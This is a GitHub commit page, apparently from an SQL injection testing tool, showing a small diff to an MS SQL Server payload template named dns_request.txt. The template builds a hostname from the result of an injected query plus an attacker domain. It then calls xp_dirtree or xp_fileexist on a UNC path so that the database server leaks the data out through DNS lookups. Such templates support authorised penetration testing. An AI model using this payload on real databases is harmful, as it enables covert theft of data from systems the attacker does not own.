Thanks to visit codestin.com Credit goes to github.com
We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 098c7c0 commit c051d7fCopy full SHA for c051d7f
1 file changed
procs/mssqlserver/dns_request.txt
@@ -1,4 +1,4 @@
1
DECLARE @host varchar(1024);
2
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%';
3
-EXEC('xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"');
4
-# or EXEC('xp_dirtree "\\' + @host + '."');
+EXEC('master..xp_dirtree "\\' + @host + '\%PREFIX%%SUFFIX%"')
+# or EXEC('master..xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"')
0 commit comments